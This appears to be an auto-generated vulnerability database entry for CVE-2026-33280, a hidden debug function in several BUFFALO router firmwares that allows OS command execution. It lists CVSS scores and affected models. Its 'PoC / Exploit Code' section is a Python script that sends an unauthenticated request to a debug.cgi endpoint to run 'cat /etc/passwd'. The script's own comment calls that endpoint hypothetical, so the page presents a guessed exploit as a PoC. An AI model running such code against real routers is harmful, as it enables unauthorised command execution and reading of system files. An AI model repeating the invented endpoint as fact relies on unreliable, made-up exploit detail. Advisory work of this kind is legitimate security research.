Security Vulnerability Report
中文
CVE-2026-33280 CVSS 9.8 CRITICAL

CVE-2026-33280

Published: 2026-03-27 06:16:39
Last Modified: 2026-03-31 19:03:41

Description

Hidden functionality issue exists in BUFFALO Wi-Fi router products, which may allow an attacker to gain access to the product’s debugging functionality, resulting in the execution of arbitrary OS commands.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:buffalo:wcr-1166dhpl_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:buffalo:wcr-1166dhpl:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:buffalo:wsr3600be4-kh_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:buffalo:wsr3600be4-kh:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:buffalo:wsr3600be4p_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:buffalo:wsr3600be4p:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:buffalo:wxr-1750dhp_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:buffalo:wxr-1750dhp:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:buffalo:wxr-1750dhp2_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:buffalo:wxr-1750dhp2:-:*:*:*:*:*:*:* - NOT VULNERABLE
BUFFALO Wi-Fi Router (具体受影响型号及固件版本请参考厂商安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (Hypothetical endpoint based on vulnerability description) target_url = "http://<TARGET_IP>/debug.cgi" # The vulnerability allows executing arbitrary OS commands via the hidden debug interface # exploiting the lack of authentication and input validation. command = "cat /etc/passwd" # Payload construction (Example) payload = { "cmd": command, "debug": "1" } try: print("[*] Attempting to trigger hidden functionality...") response = requests.get(target_url, params=payload, timeout=10) if response.status_code == 200: print("[+] Command execution successful!") print("[+] Response:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

References

Raw JSON Data

JSON
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